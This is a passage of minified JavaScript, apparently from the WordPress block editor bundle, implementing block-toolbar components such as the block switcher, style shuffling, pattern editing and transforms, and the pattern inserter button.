1.2-1 2.2-1 3 0 3.4 2.7 6.1 6.1 6.1s6.1-2.7 6.1-6.1c0-.8-.3-1.8-1-3z&quot;})]});function G1e({clientId:e}){let{stylesToRender:t,activeStyle:o,className:r}=Ig({clientId:e}),{updateBlockAttributes:n}=(0,iT.useDispatch)(_),{globalSettings:i,globalStyles:s,blockName:a}=(0,iT.useSelect)(d=&gt;{let f=d(_).getSettings();return{globalSettings:f.__experimentalFeatures,globalStyles:f[xi],blockName:d(_).getBlockName(e)}},[e]),c=o?.name?HV({settings:i,styles:s},a,o.name)?.color?.background:void 0;return!t||t.length===0?null:(0,dd.jsx)(Us.ToolbarGroup,{children:(0,dd.jsx)(Us.ToolbarButton,{onClick:()=&gt;{let f=(t.findIndex(p=&gt;p.name===o.name)+1)%t.length,m=t[f],h=Tg(r,o,m);n(e,{className:h})},label:(0,XX.__)(&quot;Shuffle styles&quot;),children:(0,dd.jsx)(Us.Icon,{icon:H1e,style:{fill:c||&quot;transparent&quot;}})})})}var QX=G1e;var lT=l(A(),1),GV=l(N(),1),JX=l(F(),1),cT=l($(),1);var sT=l(F(),1);function aT(e){let{isSectionBlock:t,isWithinSection:o,isWithinEditedSection:r,isEditingContentOnlySection:n,editedContentOnlySection:i}=(0,sT.useSelect)(u=&gt;{let{isSectionBlock:d,getParentSectionBlock:f,getEditedContentOnlySection:m,isWithinEditedContentOnlySection:h}=M(u(_)),p=m();return{isSectionBlock:d(e),isWithinSection:d(e)||!!f(e),isWithinEditedSection:h(e),isEditingContentOnlySection:p===e,editedContentOnlySection:p}},[e]),s=(0,sT.useDispatch)(_),{editContentOnlySection:a,stopEditingContentOnlySection:c}=M(s);return{isSectionBlock:t,isWithinSection:o,isWithinEditedSection:r,isEditingContentOnlySection:n,editedContentOnlySection:i,editContentOnlySection:a,stopEditingContentOnlySection:c}}var WV=l(w(),1);function eQ({clientId:e}){let{isSectionBlock:t,isEditingContentOnlySection:o,editContentOnlySection:r,stopEditingContentOnlySection:n}=aT(e),i=(0,JX.useSelect)(c=&gt;{if(!e)return null;let{getBlockName:u}=c(_),d=u(e);return d?{name:d}:null},[e]);if(!e||!t&amp;&amp;!o||(0,cT.isReusableBlock)(i)||(0,cT.isTemplatePart)(i))return null;let s=o;return(0,WV.jsx)(lT.ToolbarGroup,{children:(0,WV.jsx)(lT.ToolbarButton,{onClick:()=&gt;{s?n():r(e)},children:s?(0,GV.__)(&quot;Exit pattern&quot;):(0,GV.__)(&quot;Edit pattern&quot;)})})}var EQ=l(A(),1),TQ=l(N(),1),IQ=l(F(),1);var PS=l($(),1),PQ=l(Zp(),1);var Aa=l(N(),1),La=l(A(),1),fd=l($(),1),bT=l(F(),1);var lQ=l(N(),1),TS=l(A(),1),fT=l($(),1),mT=l(R(),1);var tQ=l(N(),1),oQ=l(A(),1),rQ=l(Z(),1);var Am=l(w(),1);function uT({blocks:e}){return(0,rQ.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;)?null:(0,Am.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-switcher__popover-preview-container&quot;,children:(0,Am.jsx)(oQ.Popover,{className:&quot;block-editor-block-switcher__popover-preview&quot;,placement:&quot;right-start&quot;,focusOnMount:!1,offset:16,children:(0,Am.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-switcher__preview&quot;,children:[(0,Am.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-switcher__preview-title&quot;,children:(0,tQ.__)(&quot;Preview&quot;)}),(0,Am.jsx)(vn,{viewportWidth:601,blocks:e})]})})})}var nQ=l(A(),1),Ng=l($(),1),iQ=l(F(),1),dT=l(R(),1);var oc=l(w(),1),W1e={};function sQ({clientIds:e,blocks:t}){let{activeBlockVariation:o,blockVariationTransformations:r}=(0,iQ.useSelect)(i=&gt;{let{getBlockAttributes:s,canRemoveBlocks:a}=i(_),{getActiveBlockVariation:c,getBlockVariations:u}=i(Ng.store),d=a(e);if(t.length!==1||!d)return W1e;let[f]=t;return{blockVariationTransformations:u(f.name,&quot;transform&quot;),activeBlockVariation:c(f.name,s(f.clientId))}},[e,t]);return(0,dT.useMemo)(()=&gt;r?.filter(({name:i})=&gt;i!==o?.name),[r,o])}var $1e=({transformations:e,onSelect:t,blocks:o})=&gt;{let[r,n]=(0,dT.useState)();return(0,oc.jsxs)(oc.Fragment,{children:[r&amp;&amp;(0,oc.jsx)(uT,{blocks:(0,Ng.cloneBlock)(o[0],e.find(({name:i})=&gt;i===r).attributes)}),e?.map(i=&gt;(0,oc.jsx)(K1e,{item:i,onSelect:t,setHoveredTransformItemName:n},i.name))]})};function K1e({item:e,onSelect:t,setHoveredTransformItemName:o}){let{name:r,icon:n,title:i}=e;return(0,oc.jsxs)(nQ.MenuItem,{className:(0,Ng.getBlockMenuDefaultClassName)(r),onClick:s=&gt;{s.preventDefault(),t(r)},onMouseLeave:()=&gt;o(null),onMouseEnter:()=&gt;o(r),onFocus:()=&gt;o(r),onBlur:()=&gt;o(null),children:[(0,oc.jsx)(Ae,{icon:n,showColors:!0}),i]})}var aQ=$1e;var Cn=l(w(),1);function Y1e(e){let t={&quot;core/paragraph&quot;:1,&quot;core/heading&quot;:2,&quot;core/list&quot;:3,&quot;core/quote&quot;:4},o=(0,mT.useMemo)(()=&gt;{let r=Object.keys(t),n=e.reduce((i,s)=&gt;{let{name:a}=s;return r.includes(a)?i.priorityTextTransformations.push(s):i.restTransformations.push(s),i},{priorityTextTransformations:[],restTransformations:[]});if(n.priorityTextTransformations.length===1&amp;&amp;n.priorityTextTransformations[0].name===&quot;core/quote&quot;){let i=n.priorityTextTransformations.pop();n.restTransformations.push(i)}return n},[e]);return o.priorityTextTransformations.sort(({name:r},{name:n})=&gt;t[r]&lt;t[n]?-1:1),o}var q1e=({className:e,possibleBlockTransformations:t,possibleBlockVariationTransformations:o,onSelect:r,onSelectVariation:n,blocks:i})=&gt;{let[s,a]=(0,mT.useState)(),{priorityTextTransformations:c,restTransformations:u}=Y1e(t),d=c.length&amp;&amp;u.length,f=!!u.length&amp;&amp;(0,Cn.jsx)(Z1e,{restTransformations:u,onSelect:r,setHoveredTransformItemName:a});return(0,Cn.jsxs)(Cn.Fragment,{children:[(0,Cn.jsxs)(TS.MenuGroup,{label:(0,lQ.__)(&quot;Transform to&quot;),className:e,children:[s&amp;&amp;(0,Cn.jsx)(uT,{blocks:(0,fT.switchToBlockType)(i,s)}),!!o?.length&amp;&amp;(0,Cn.jsx)(aQ,{transformations:o,blocks:i,onSelect:n}),c.map(m=&gt;(0,Cn.jsx)(cQ,{item:m,onSelect:r,setHoveredTransformItemName:a},m.name)),!d&amp;&amp;f]}),!!d&amp;&amp;(0,Cn.jsx)(TS.MenuGroup,{className:e,children:f})]})};function Z1e({restTransformations:e,onSelect:t,setHoveredTransformItemName:o}){return e.map(r=&gt;(0,Cn.jsx)(cQ,{item:r,onSelect:t,setHoveredTransformItemName:o},r.name))}function cQ({item:e,onSelect:t,setHoveredTransformItemName:o}){let{name:r,icon:n,title:i,isDisabled:s}=e;return(0,Cn.jsxs)(TS.MenuItem,{className:(0,fT.getBlockMenuDefaultClassName)(r),onClick:a=&gt;{a.preventDefault(),t(r)},disabled:s,onMouseLeave:()=&gt;o(null),onMouseEnter:()=&gt;o(r),onFocus:()=&gt;o(r),onBlur:()=&gt;o(null),children:[(0,Cn.jsx)(Ae,{icon:n,showColors:!0}),i]})}var uQ=q1e;var fQ=l(N(),1),mQ=l(A(),1);var pT=l(A(),1);var Mg=l(w(),1),X1e=()=&gt;{};function dQ({clientId:e,onSwitch:t=X1e}){let{onSelect:o,stylesToRender:r,activeStyle:n}=Ig({clientId:e,onSwitch:t});return!r||r.length===0?null:(0,Mg.jsx)(Mg.Fragment,{children:r.map(i=&gt;{let s=i.label||i.name;return(0,Mg.jsx)(pT.MenuItem,{icon:n.name===i.name?gl:null,onClick:()=&gt;o(i),children:(0,Mg.jsx)(pT.__experimentalText,{as:&quot;span&quot;,limit:18,ellipsizeMode:&quot;tail&quot;,truncate:!0,children:s})},i.name)})})}var $V=l(w(),1);function hT({hoveredBlock:e,onSwitch:t}){let{clientId:o}=e;return(0,$V.jsx)(mQ.MenuGroup,{label:(0,fQ.__)(&quot;Styles&quot;),className:&quot;block-editor-block-switcher__styles__menugroup&quot;,children:(0,$V.jsx)(dQ,{clientId:o,onSwitch:t})})}var YV=l(N(),1),vQ=l(R(),1),gT=l(Z(),1);var Hs=l(A(),1);var gQ=l(R(),1),bQ=l($(),1);var pQ=l($(),1),KV=(e,t,o=new Set)=&gt;{let{clientId:r,name:n,innerBlocks:i=[]}=e;if(!o.has(r)){if(n===t)return e;for(let s of i){let a=KV(s,t,o);if(a)return a}}},hQ=(e,t)=&gt;{let o=(0,pQ.getBlockAttributesNamesByRole)(e,&quot;content&quot;);return o?.length?o.reduce((r,n)=&gt;(t[n]&amp;&amp;(r[n]=t[n]),r),{}):t};var Q1e=(e,t)=&gt;{let o=hQ(t.name,t.attributes);e.attributes={...e.attributes,...o}},J1e=(e,t)=&gt;{let o=t.map(n=&gt;(0,bQ.cloneBlock)(n)),r=new Set;for(let n of e){let i=!1;for(let s of o){let a=KV(s,n.name,r);if(a){i=!0,r.add(a.clientId),Q1e(a,n);break}}if(!i)return}return o},eBe=(e,t)=&gt;(0,gQ.useMemo)(()=&gt;e.reduce((o,r)=&gt;{let n=J1e(t,r.blocks);return n&amp;&amp;o.push({...r,transformedBlocks:n}),o},[]),[e,t]),kQ=eBe;var gr=l(w(),1);function tBe({blocks:e,patterns:t,onSelect:o}){let[r,n]=(0,vQ.useState)(!1),i=kQ(t,e);return i.length?(0,gr.jsxs)(Hs.MenuGroup,{className:&quot;block-editor-block-switcher__pattern__transforms__menugroup&quot;,children:[r&amp;&amp;(0,gr.jsx)(oBe,{patterns:i,onSelect:o}),(0,gr.jsx)(Hs.MenuItem,{onClick:s=&gt;{s.preventDefault(),n(!r)},icon:Vo,children:(0,YV.__)(&quot;Patterns&quot;)})]}):null}function oBe({patterns:e,onSelect:t}){let o=(0,gT.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;);return(0,gr.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-switcher__popover-preview-container&quot;,children:(0,gr.jsx)(Hs.Popover,{className:&quot;block-editor-block-switcher__popover-preview&quot;,placement:o?&quot;bottom&quot;:&quot;right-start&quot;,offset:16,children:(0,gr.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-switcher__preview is-pattern-list-preview&quot;,children:(0,gr.jsx)(rBe,{patterns:e,onSelect:t})})})})}function rBe({patterns:e,onSelect:t}){return(0,gr.jsx)(Hs.Composite,{role:&quot;listbox&quot;,className:&quot;block-editor-block-switcher__preview-patterns-container&quot;,&quot;aria-label&quot;:(0,YV.__)(&quot;Patterns list&quot;),children:e.map(o=&gt;(0,gr.jsx)(yQ,{pattern:o,onSelect:t},o.name))})}function yQ({pattern:e,onSelect:t}){let o=&quot;block-editor-block-switcher__preview-patterns-container&quot;,r=(0,gT.useInstanceId)(yQ,`${o}-list__item-description`);return(0,gr.jsxs)(&quot;div&quot;,{className:`${o}-list__list-item`,children:[(0,gr.jsxs)(Hs.Composite.Item,{render:(0,gr.jsx)(&quot;div&quot;,{role:&quot;option&quot;,&quot;aria-label&quot;:e.title,&quot;aria-describedby&quot;:e.description?r:void 0,className:`${o}-list__item`}),onClick:()=&gt;t(e.transformedBlocks),children:[(0,gr.jsx)(vn,{blocks:e.transformedBlocks,viewportWidth:e.viewportWidth||500}),(0,gr.jsx)(&quot;div&quot;,{className:`${o}-list__item-title`,children:e.title})]}),!!e.description&amp;&amp;(0,gr.jsx)(Hs.VisuallyHidden,{id:r,children:e.description})]})}var SQ=tBe;var ri=l(w(),1);function nBe({onClose:e,clientIds:t}){let{replaceBlocks:o,multiSelect:r,updateBlockAttributes:n}=(0,bT.useDispatch)(_),{possibleBlockTransformations:i,patterns:s,blocks:a,isUsingBindings:c,canRemove:u,hasBlockStyles:d}=(0,bT.useSelect)(I=&gt;{let{getBlockAttributes:P,getBlocksByClientId:E,getBlockRootClientId:L,getBlockTransformItems:T,__experimentalGetPatternTransformItems:O,canRemoveBlocks:D,getBlockName:U}=I(_),{getBlockStyles:G}=I(fd.store),j=L(t[0]),z=E(t),W=t.length===1,ee=W&amp;&amp;U(t[0]),se=W&amp;&amp;!!G(ee)?.length;return{blocks:z,possibleBlockTransformations:T(z,j),patterns:O(z,j),isUsingBindings:t.every(ce=&gt;!!P(ce)?.metadata?.bindings),canRemove:D(t),hasBlockStyles:se}},[t]),f=sQ({clientIds:t,blocks:a});function m(I){I.length&gt;1&amp;&amp;r(I[0].clientId,I[I.length-1].clientId)}function h(I){let P=(0,fd.switchToBlockType)(a,I);o(t,P),m(P)}function p(I){n(a[0].clientId,{...f.find(({name:P})=&gt;P===I).attributes})}function g(I){o(t,I),m(I)}let b=a.length===1,v=b&amp;&amp;((0,fd.isTemplatePart)(a[0])||(0,fd.isReusableBlock)(a[0])),k=!!i?.length&amp;&amp;u&amp;&amp;!v,y=!!f?.length,S=!!s?.length&amp;&amp;u,x=k||y;if(!(d||x||S))return(0,ri.jsx)(&quot;p&quot;,{className:&quot;block-editor-block-switcher__no-transforms&quot;,children:(0,Aa.__)(&quot;No transforms.&quot;)});let B=b?(0,Aa._x)(&quot;This block is connected.&quot;,&quot;block toolbar button label and description&quot;):(0,Aa._x)(&quot;These blocks are connected.&quot;,&quot;block toolbar button label and description&quot;);return(0,ri.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-switcher__container&quot;,children:[S&amp;&amp;(0,ri.jsx)(SQ,{blocks:a,patterns:s,onSelect:I=&gt;{g(I),e()}}),x&amp;&amp;(0,ri.jsx)(uQ,{className:&quot;block-editor-block-switcher__transforms__menugroup&quot;,possibleBlockTransformations:i,possibleBlockVariationTransformations:f,blocks:a,onSelect:I=&gt;{h(I),e()},onSelectVariation:I=&gt;{p(I),e()}}),d&amp;&amp;(0,ri.jsx)(hT,{hoveredBlock:a[0],onSwitch:e}),c&amp;&amp;(0,ri.jsx)(La.MenuGroup,{children:(0,ri.jsx)(La.__experimentalText,{className:&quot;block-editor-block-switcher__binding-indicator&quot;,children:B})})]})}var iBe=({children:e,clientIds:t,label:o,text:r})=&gt;{let i=t.length===1?(0,Aa.__)(&quot;Change block type or style&quot;):(0,Aa.sprintf)((0,Aa._n)(&quot;Change type of %d block&quot;,&quot;Change type of %d blocks&quot;,t.length),t.length);return(0,ri.jsx)(La.ToolbarGroup,{children:(0,ri.jsx)(La.ToolbarItem,{children:s=&gt;(0,ri.jsx)(La.DropdownMenu,{className:&quot;block-editor-block-switcher&quot;,label:o,popoverProps:{placement:&quot;bottom-start&quot;,className:&quot;block-editor-block-switcher__popover&quot;},icon:e,text:r,toggleProps:{description:i,...s},menuProps:{orientation:&quot;both&quot;},children:({onClose:a})=&gt;(0,ri.jsx)(nBe,{onClose:a,clientIds:t})})})})},_Q=iBe;var xQ=l(N(),1),Vg=l(A(),1);var Dg=l(w(),1);function wQ({clientIds:e,children:t,label:o,text:r}){return(0,Dg.jsx)(Vg.ToolbarGroup,{children:(0,Dg.jsx)(Vg.ToolbarItem,{children:n=&gt;(0,Dg.jsx)(Vg.DropdownMenu,{className:&quot;block-editor-block-switcher&quot;,label:o,popoverProps:{placement:&quot;bottom-start&quot;,className:&quot;block-editor-block-switcher__popover&quot;},icon:t,text:r,toggleProps:{description:(0,xQ.__)(&quot;Change block style&quot;),...n},menuProps:{orientation:&quot;both&quot;},children:({onClose:i})=&gt;(0,Dg.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-switcher__container&quot;,children:(0,Dg.jsx)(hT,{hoveredBlock:{clientId:e[0]},onSwitch:i})})})})})}var Fg=l(A(),1),IS=l(N(),1),kT=l(R(),1),CQ=l(F(),1);var rc=l(w(),1);function sBe({clientIds:e,blockTitle:t}){let o=(0,CQ.useSelect)(i=&gt;{let{getBlockAttributes:s}=i(_);return s(e?.[0])?.metadata?.name},[e]),r=e.length===1,n;return r&amp;&amp;o?n=(0,IS.sprintf)((0,IS.__)(&#039;This %1$s is editable using the &quot;%2$s&quot; override.&#039;),t.toLowerCase(),o):n=(0,IS.__)(&quot;These blocks are editable using overrides.&quot;),(0,rc.jsx)(Fg.__experimentalText,{children:n})}function BQ({icon:e,clientIds:t,blockTitle:o,label:r}){let[n,i]=(0,kT.useState)(!1),s=(0,kT.useRef)();return(0,rc.jsxs)(rc.Fragment,{children:[(0,rc.jsx)(Fg.ToolbarButton,{ref:s,className:&quot;block-editor-block-toolbar__pattern-overrides-indicator&quot;,icon:e,label:r,onClick:()=&gt;i(!n),&quot;aria-expanded&quot;:n}),n&amp;&amp;(0,rc.jsx)(Fg.Popover,{anchor:s.current,onClose:()=&gt;i(!1),placement:&quot;bottom-start&quot;,offset:16,className:&quot;block-editor-block-toolbar__pattern-overrides-popover&quot;,children:(0,rc.jsx)(sBe,{clientIds:t,blockTitle:o})})]})}var zg=l(w(),1);function aBe({select:e,clientIds:t}){let{getBlockName:o,getBlockAttributes:r,getBlockParentsByBlockName:n,canRemoveBlocks:i,getTemplateLock:s,getBlockEditingMode:a,canEditBlock:c}=M(e(_)),{getBlockStyles:u}=e(PS.store),d=t.some(P=&gt;s(P)===&quot;contentOnly&quot;),f=t.length===1,m=f&amp;&amp;o(t[0]),h=f&amp;&amp;!!u(m)?.length,p=t.some(P=&gt;!!r(P)?.metadata?.patternName),g=t.every(P=&gt;Wk(r(P)?.metadata?.bindings)),b=t.every(P=&gt;n(P,&quot;core/block&quot;,!0).length&gt;0),v=i(t),k=t.every(P=&gt;c(P)),y=a(t[0]),S=y===&quot;default&quot;,x=y===&quot;contentOnly&quot;,B=!p&amp;&amp;S&amp;&amp;(h||v)&amp;&amp;!d&amp;&amp;k,I=g&amp;&amp;b;return B?&quot;switcher&quot;:x&amp;&amp;h&amp;&amp;!g&amp;&amp;k?&quot;styles-only&quot;:I?&quot;pattern-overrides&quot;:&quot;default&quot;}function lBe({select:e,clientIds:t}){let{getBlockName:o,getBlockAttributes:r}=M(e(_)),n=t.length===1,i=t[0],s=r(i);if(n&amp;&amp;s?.metadata?.patternName)return Ei;let a=o(i),c=(0,PS.getBlockType)(a);if(n){let{getActiveBlockVariation:f}=e(PS.store);return f(a,s)?.icon||c?.icon}let u=t.map(f=&gt;o(f));return new Set(u).size===1?c?.icon:Cf}function RQ({clientIds:e,isSynced:t}){let{icon:o,showIconLabels:r,variant:n}=(0,IQ.useSelect)(f=&gt;({icon:lBe({select:f,clientIds:e}),showIconLabels:f(PQ.store).get(&quot;core&quot;,&quot;showIconLabels&quot;),variant:aBe({select:f,clientIds:e})}),[e]),i=zr({clientId:e?.[0],maximumLength:35}),s=e.length===1,a=s&amp;&amp;t&amp;&amp;!r,c=s?i:(0,TQ.__)(&quot;Multiple blocks selected&quot;),u=a&amp;&amp;i?i:void 0,d=(0,zg.jsx)(Ae,{className:&quot;block-editor-block-toolbar__block-icon&quot;,icon:o});return n===&quot;switcher&quot;?(0,zg.jsx)(_Q,{clientIds:e,label:c,text:u,children:d}):n===&quot;styles-only&quot;?(0,zg.jsx)(wQ,{clientIds:e,label:c,text:u,children:d}):n===&quot;pattern-overrides&quot;?(0,zg.jsx)(BQ,{icon:d,clientIds:e,blockTitle:i,label:c}):(0,zg.jsx)(EQ.ToolbarButton,{disabled:!0,className:&quot;block-editor-block-toolbar__block-icon-button&quot;,title:c,icon:d,text:u})}var Qe=l(w(),1);function ZV({hideDragHandle:e,focusOnMount:t,__experimentalInitialIndex:o,__experimentalOnIndexChange:r,variant:n=&quot;unstyled&quot;}){let{blockClientId:i,blockClientIds:s,isDefaultEditingMode:a,blockType:c,toolbarKey:u,shouldShowVisualToolbar:d,showParentSelector:f,isUsingBindings:m,isSectionContainer:h,hasContentOnlyLocking:p,showShuffleButton:g,showSlots:b,showGroupButtons:v,showLockButtons:k,showBlockVisibilityButton:y,showSwitchSectionStyleButton:S,areSelectedBlocksHiddenOnViewport:x,canEdit:C}=(0,AQ.useSelect)(G=&gt;{let{canEditBlock:j}=G(_),{getBlockName:z,getBlockMode:W,getBlockParents:ee,getSelectedBlockClientIds:se,isBlockValid:ce,getBlockEditingMode:ie,getBlockAttributes:re,getSettings:Q,getTemplateLock:Y,getParentSectionBlock:J,isZoomOut:K,isSectionBlock:H,isBlockHiddenAtViewport:X}=M(G(_)),ne=se(),le=ne[0],ve=ee(le),xe=J(le)??ve[ve.length-1],ze=z(xe),ot=(0,nc.getBlockType)(ze),Wt=ie(le),fo=Wt===&quot;default&quot;,Do=z(le),rt=ne.every(je=&gt;ce(je)),ar=ne.every(je=&gt;W(je)===&quot;visual&quot;),xt=ne.every(je=&gt;!!re(je)?.metadata?.bindings),At=ne.some(je=&gt;Y(je)===&quot;contentOnly&quot;),Pe=K(),wt=H(le),qo=j(le),$t=qo&amp;&amp;(Pe||wt),lr=Q()?.[wi]?.toLowerCase()||&quot;desktop&quot;,ln=ne.length&gt;0&amp;&amp;ne.every(je=&gt;X(je,lr));return{blockClientId:le,blockClientIds:ne,isDefaultEditingMode:fo,blockType:le&amp;&amp;(0,nc.getBlockType)(Do),shouldShowVisualToolbar:rt&amp;&amp;ar,toolbarKey:`${le}${xe}`,showParentSelector:!Pe&amp;&amp;ot&amp;&amp;Wt!==&quot;contentOnly&quot;&amp;&amp;ie(xe)!==&quot;disabled&quot;&amp;&amp;(0,nc.hasBlockSupport)(ot,&quot;__experimentalParentSelector&quot;,!0)&amp;&amp;ne.length===1,isUsingBindings:xt,isSectionContainer:wt,hasContentOnlyLocking:At,showShuffleButton:Pe,showSlots:!Pe,showGroupButtons:!Pe,showLockButtons:!Pe,showBlockVisibilityButton:!Pe,showSwitchSectionStyleButton:$t,areSelectedBlocksHiddenOnViewport:ln,canEdit:qo}},[]),B=(0,qV.useRef)(null),I=(0,qV.useRef)(),P=kg({ref:I}),E=!(0,LQ.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;);if(!qE())return null;let T=s.length&gt;1,O=(0,nc.isReusableBlock)(c)||(0,nc.isTemplatePart)(c),D=V(&quot;block-editor-block-contextual-toolbar&quot;,{&quot;has-parent&quot;:f}),U=V(&quot;block-editor-block-toolbar&quot;,{&quot;is-synced&quot;:O,&quot;is-connected&quot;:m});return(0,Qe.jsx)(Bg,{focusEditorOnEscape:!0,className:D,&quot;aria-label&quot;:(0,OQ.__)(&quot;Block tools&quot;),variant:n===&quot;toolbar&quot;?void 0:n,focusOnMount:t,__experimentalInitialIndex:o,__experimentalOnIndexChange:r,children:(0,Qe.jsxs)(&quot;div&quot;,{ref:B,className:U,children:[f&amp;&amp;!T&amp;&amp;E&amp;&amp;(0,Qe.jsx)(nZ,{}),(d||T)&amp;&amp;(0,Qe.jsx)(&quot;div&quot;,{ref:I,...P,children:(0,Qe.jsxs)(NQ.ToolbarGroup,{className:&quot;block-editor-block-toolbar__block-controls&quot;,children:[(0,Qe.jsx)(RQ,{clientIds:s,isSynced:O}),a&amp;&amp;y&amp;&amp;(0,Qe.jsx)(TD,{clientIds:s}),!T&amp;&amp;a&amp;&amp;k&amp;&amp;(0,Qe.jsx)(wV,{clientId:i}),(0,Qe.jsx)(kE,{clientIds:s,hideDragHandle:e})]})}),!x&amp;&amp;!p&amp;&amp;d&amp;&amp;T&amp;&amp;v&amp;&amp;(0,Qe.jsx)(vV,{}),!T&amp;&amp;C&amp;&amp;(0,Qe.jsx)(eQ,{clientId:s[0]}),!x&amp;&amp;g&amp;&amp;(0,Qe.jsx)(EX,{clientId:s[0]}),!x&amp;&amp;S&amp;&amp;(0,Qe.jsx)(QX,{clientId:s[0]}),!x&amp;&amp;d&amp;&amp;b&amp;&amp;(0,Qe.jsxs)(Qe.Fragment,{children:[!h&amp;&amp;(0,Qe.jsxs)(Qe.Fragment,{children:[(0,Qe.jsx)(Mt.Slot,{group:&quot;parent&quot;,className:&quot;block-editor-block-toolbar__slot&quot;}),(0,Qe.jsx)(Mt.Slot,{group:&quot;block&quot;,className:&quot;block-editor-block-toolbar__slot&quot;}),(0,Qe.jsx)(Mt.Slot,{className:&quot;block-editor-block-toolbar__slot&quot;}),(0,Qe.jsx)(Mt.Slot,{group:&quot;inline&quot;,className:&quot;block-editor-block-toolbar__slot&quot;})]}),(0,Qe.jsx)(Mt.Slot,{group:&quot;other&quot;,className:&quot;block-editor-block-toolbar__slot&quot;}),(0,Qe.jsx)(xE.Slot,{})]}),(0,Qe.jsx)(gX,{clientIds:s}),(0,Qe.jsx)(GE,{clientIds:s})]})},u)}function MQ({hideDragHandle:e,variant:t}){return(0,Qe.jsx)(ZV,{hideDragHandle:e,variant:t,focusOnMount:void 0,__experimentalInitialIndex:void 0,__experimentalOnIndexChange:void 0})}var XV=l(w(),1);function FQ({clientId:e,isTyping:t,__unstableContentRef:o}){let{capturingClientId:r,isInsertionPointVisible:n,lastClientId:i}=cE(e),s=(0,jg.useRef)();(0,jg.useEffect)(()=&gt;{s.current=void 0},[e]);let{stopTyping:a}=(0,DQ.useDispatch)(_),c=(0,jg.useRef)(!1);(0,VQ.useShortcut)(&quot;core/block-editor/focus-toolbar&quot;,()=&gt;{c.current=!0,a(!0)}),(0,jg.useEffect)(()=&gt;{c.current=!1});let u=r||e,d=lE({contentElement:o?.current,clientId:u});return!t&amp;&amp;(0,XV.jsx)(pm,{clientId:u,bottomClientId:i,className:V(&quot;block-editor-block-list__block-popover&quot;,{&quot;is-insertion-point-visible&quot;:n}),resize:!1,...d,__unstableContentRef:o,children:(0,XV.jsx)(ZV,{focusOnMount:c.current,__experimentalInitialIndex:s.current,__experimentalOnIndexChange:f=&gt;{s.current=f},variant:&quot;toolbar&quot;})})}var vT=l(F(),1),yT=l(R(),1);var zQ=l(A(),1);var jQ=l(N(),1),UQ=l(w(),1);function cBe({onClick:e}){return(0,UQ.jsx)(zQ.Button,{variant:&quot;primary&quot;,icon:Bi,size:&quot;compact&quot;,className:V(&quot;block-editor-button-pattern-inserter__button&quot;,&quot;block-editor-block-tools__zoom-out-mode-inserter-button&quot;),onClick:e,label:(0,jQ._x)(&quot;Add pattern&quot;,&quot;Generic label for pattern inserter button&quot;)})}var HQ=cBe;var QV=l(w(),1);function uBe(){let[e,t]=(0,yT.useState)(!1),{hasSelection:o,blockOrder:r,setInserterIsOpened:n,sectionRootClientId:i,selectedBlockClientId:s,blockInsertionPoint:a,insertionPointVisible:c}=(0,vT.useSelect)(p=&gt;{let{getSettings:g,getBlockOrder:b,getSelectionStart:v,getSelectedBlockClientId:k,getSectionRootClientId:y,getBlockInsertionPoint:S,isBlockInsertionPointVisible:x}=M(p(_)),C=y();return{hasSelection:!!v().clientId,blockOrder:b(C),sectionRootClientId:C,setInserterIsOpened:g().__experimentalSetIsInserterOpened,selectedBlockClientId:k(),blockInsertionPoint:S(),insertionPointVisible:x()}},[]),{showInsertionPoint:u}=M((0,vT.useDispatch)(_));if((0,yT.useEffect)(()=&gt;{let p=setTimeout(()=&gt;{t(!0)},500);return()=&gt;{clearTimeout(p)}},[]),!e||!o)return null;let d=s,m=r.findIndex(p=&gt;s===p)+1,h=r[m];return c&amp;&amp;a?.index===m?null:(0,QV.jsx)(MB,{previousClientId:d,nextClientId:h,children:(0,QV.jsx)(HQ,{onClick:()=&gt;{n({rootClientId:i,insertionIndex:m,tab:&quot;patterns&quot;,category:&quot;all&quot;}),u(i,m,{operation:&quot;insert&quot;})}})})}var GQ=uBe;var WQ=l(F(),1),$Q=l($(),1);function KQ(){return(0,WQ.useSelect)(e=&gt;{let{getSelectedBlockClientId:t,getFirstMultiSelectedBlockClientId:o,getBlock:r,getBlockMode:n,getSettings:i,isTyping:s,isBlockInterfaceHidden:a}=M(e(_)),c=t()||o(),u=r(c),d=!!c&amp;&amp;!!u,f=d&amp;&amp;(0,$Q.isUnmodifiedDefaultBlock)(u,&quot;content&quot;)&amp;&amp;n(c)!==&quot;html&quot;,m=c&amp;&amp;!s()&amp;&amp;f,h=!a()&amp;&amp;!i().hasFixedToolbar&amp;&amp;!m&amp;&amp;d&amp;&amp;!f;return{showEmptyBlockSideInserter:m,showBlockToolbarPopover:h}},[])}var Yi=l(w(),1);function dBe(e){let{getSelectedBlockClientId:t,getFirstMultiSelectedBlockClientId:o,getSettings:r,isTyping:n,isDragging:i,isZoomOut:s,getViewportModalClientIds:a}=M(e(_));return{clientId:t()||o(),hasFixedToolbar:r().hasFixedToolbar,isTyping:n(),isZoomOutMode:s(),isDragging:i(),viewportModalClientIds:a()}}function RS({children:e,__unstableContentRef:t,...o}){let{clientId:r,hasFixedToolbar:n,isTyping:i,isZoomOutMode:s,isDragging:a,viewportModalClientIds:c}=(0,Ug.useSelect)(dBe,[]),u=(0,YQ.__unstableUseShortcutEventMatch)(),{getBlocksByClientId:d,getSelectedBlockClientIds:f,getBlockRootClientId:m,getBlockEditingMode:h,getBlockName:p,isGroupable:g,getEditedContentOnlySection:b,canEditBlock:v}=M((0,Ug.useSelect)(_)),{getGroupingBlockName:k}=(0,Ug.useSelect)(Hg.store),{showEmptyBlockSideInserter:y,showBlockToolbarPopover:S}=KQ(),x=yg(),[C,B]=(0,ST.useState)(null),{canRename:I}=Pm(p(f()[0])),{duplicateBlocks:P,removeBlocks:E,replaceBlocks:L,insertAfterBlock:T,insertBeforeBlock:O,selectBlock:D,moveBlocksUp:U,moveBlocksDown:G,expandBlock:j,stopEditingContentOnlySection:z,showViewportModal:W,hideViewportModal:ee}=M((0,Ug.useDispatch)(_));function se(re){if(!re.defaultPrevented){if(u(&quot;core/block-editor/move-up&quot;,re)||u(&quot;core/block-editor/move-down&quot;,re)){let Q=f();if(Q.length){re.preventDefault();let 